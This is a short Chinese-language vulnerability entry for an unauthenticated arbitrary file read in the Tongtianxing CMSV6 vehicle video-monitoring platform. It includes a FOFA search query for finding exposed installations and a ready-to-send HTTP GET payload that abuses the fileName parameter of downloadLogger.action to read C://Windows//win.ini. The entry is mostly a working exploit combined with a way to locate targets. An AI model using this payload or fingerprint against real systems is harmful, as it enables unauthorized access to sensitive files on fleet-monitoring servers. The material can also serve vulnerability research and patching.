T1-7通天星-CMSV6车载定位监控平台-任意文件读取

漏洞描述：

通天星CMSV6车载视频监控平台 downloadLogger.action接口处任意文件读取漏洞，未经身份认证的攻击者可以通过此漏洞获取系统内部敏感文件信息，使系统处于极不安全状态。

网站图片:

网络测绘:

fofa语法：

FOFA：body=“/808gps/”

漏洞复现:

payload：

GET /808gps/logger/downloadLogger.action?fileName=C://Windows//win.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20172209 Firefox/103.0
Connection: close
Accept: */*
Accept-Encoding: gzip

效果图:
读取C://Windows//win.ini